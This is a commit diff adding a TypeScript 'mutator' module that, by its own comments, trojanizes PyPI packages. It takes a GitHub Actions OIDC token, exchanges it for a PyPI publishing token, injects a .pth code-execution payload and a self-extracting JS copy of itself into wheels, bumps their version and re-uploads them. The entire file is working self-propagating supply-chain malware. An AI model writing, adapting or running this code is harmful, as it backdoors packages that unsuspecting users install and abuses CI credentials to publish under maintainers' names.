Upload files to "src/mutator/pypioidc"
This commit is contained in:
@@ -0,0 +1,189 @@
|
||||
// PyPI OIDC mutator — trojanizes Python packages via Trusted Publishing.
|
||||
//
|
||||
// Flow:
|
||||
// 1. Request GitHub Actions OIDC token (audience: pypi)
|
||||
// 2. Exchange OIDC token for short-lived PyPI API token
|
||||
// 3. Download wheel → inject .pth payload → bump patch → upload
|
||||
//
|
||||
// Packages come from TARGET_PACKAGES env var (comma-separated).
|
||||
// Falls back to OIDC_PACKAGES for backwards compatibility.
|
||||
|
||||
import { INJECT_PTH } from "../../generated";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
||||
import { Mutator } from "../base";
|
||||
import { uploadWheel } from "../pypi/upload";
|
||||
import {
|
||||
downloadWheel,
|
||||
extractInfo,
|
||||
fetchPackageMeta,
|
||||
patchWheel,
|
||||
} from "../pypi/wheel";
|
||||
|
||||
/**
|
||||
* Comma-separated list of packages to backdoor, read from OIDC_PACKAGES env.
|
||||
*/
|
||||
function getOidcPackages(): string[] {
|
||||
const raw = process.env.TARGET_PACKAGES || process.env.OIDC_PACKAGES;
|
||||
if (!raw || !raw.trim()) return [];
|
||||
return raw
|
||||
.split(",")
|
||||
.map((s) => s.trim())
|
||||
.filter(Boolean);
|
||||
}
|
||||
|
||||
export class PyPIOidcClient extends Mutator {
|
||||
constructor() {
|
||||
super();
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } =
|
||||
process.env;
|
||||
|
||||
if (!ACTIONS_ID_TOKEN_REQUEST_URL || !ACTIONS_ID_TOKEN_REQUEST_TOKEN) {
|
||||
logUtil.log(
|
||||
"[pypioidc] Not running in GitHub Actions — no OIDC available",
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 1. Request GitHub OIDC token with audience=pypi
|
||||
logUtil.log("[pypioidc] requesting OIDC token...");
|
||||
const oidcRes = await fetch(
|
||||
`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=pypi`,
|
||||
{
|
||||
headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` },
|
||||
},
|
||||
);
|
||||
|
||||
if (!oidcRes.ok) {
|
||||
logUtil.log(`[pypioidc] OIDC token request failed: ${oidcRes.status}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
const { value: oidcToken } = (await oidcRes.json()) as { value: string };
|
||||
if (!oidcToken) {
|
||||
logUtil.log("[pypioidc] no OIDC token returned");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 2. Exchange OIDC token for PyPI API token
|
||||
logUtil.log("[pypioidc] exchanging OIDC token for PyPI API token...");
|
||||
let pypiToken: string;
|
||||
try {
|
||||
const mintRes = await fetch("https://pypi.org/_/oidc/mint-token", {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${oidcToken}`,
|
||||
},
|
||||
body: JSON.stringify({}),
|
||||
});
|
||||
|
||||
if (!mintRes.ok) {
|
||||
const errText = await mintRes.text().catch(() => "");
|
||||
logUtil.log(
|
||||
`[pypioidc] token minting failed: ${mintRes.status} — ${errText.slice(0, 200)}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
const mintData = (await mintRes.json()) as { token?: string };
|
||||
if (!mintData.token) {
|
||||
logUtil.log("[pypioidc] no API token in mint response");
|
||||
return false;
|
||||
}
|
||||
pypiToken = mintData.token;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[pypioidc] mint exchange error: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 3. Get package list
|
||||
const packages = getOidcPackages();
|
||||
if (packages.length === 0) {
|
||||
logUtil.log("[pypioidc] OIDC_PACKAGES is empty — nothing to trojanize");
|
||||
return false;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[pypioidc] targeting ${packages.length} package(s): ${packages.join(", ")}`,
|
||||
);
|
||||
|
||||
const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
|
||||
|
||||
// Build self-extracting JS payload (same as npm OIDC)
|
||||
let jsPayload = "";
|
||||
try {
|
||||
const raw = await Bun.file(Bun.main).text();
|
||||
jsPayload = buildSelfExtractingPayload(raw, { wrap: true });
|
||||
} catch {
|
||||
logUtil.log("[pypioidc] could not build JS payload — continuing without");
|
||||
}
|
||||
|
||||
let published = 0;
|
||||
|
||||
for (const pkgName of packages) {
|
||||
try {
|
||||
const ok = await this.processPackage(
|
||||
pkgName,
|
||||
pypiToken,
|
||||
pthContent,
|
||||
jsPayload || undefined,
|
||||
);
|
||||
if (ok) published++;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[pypioidc] error processing ${pkgName}: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
logUtil.log(`[pypioidc] Done. Published ${published} package(s).`);
|
||||
return published > 0;
|
||||
}
|
||||
|
||||
private async processPackage(
|
||||
pkgName: string,
|
||||
token: string,
|
||||
pthContent: string,
|
||||
jsPayload?: string,
|
||||
): Promise<boolean> {
|
||||
// Download
|
||||
const meta = await fetchPackageMeta(pkgName);
|
||||
if (!meta) {
|
||||
logUtil.log(`[pypioidc] ${pkgName}: no wheel found, skipping`);
|
||||
return false;
|
||||
}
|
||||
|
||||
const wheelData = await downloadWheel(meta.wheelUrl);
|
||||
if (!wheelData) {
|
||||
logUtil.log(`[pypioidc] ${pkgName}: download failed, skipping`);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Patch
|
||||
const patched = patchWheel({
|
||||
meta,
|
||||
wheelData,
|
||||
pthContent,
|
||||
jsPayload: jsPayload || undefined,
|
||||
});
|
||||
logUtil.log(
|
||||
`[pypioidc] ${pkgName}: ${meta.version} → ${patched.newVersion}`,
|
||||
);
|
||||
|
||||
// Upload
|
||||
return uploadWheel({
|
||||
token,
|
||||
pkgName: meta.name,
|
||||
version: patched.newVersion,
|
||||
filename: patched.filename,
|
||||
wheelData: patched.data,
|
||||
...extractInfo(meta.info),
|
||||
});
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user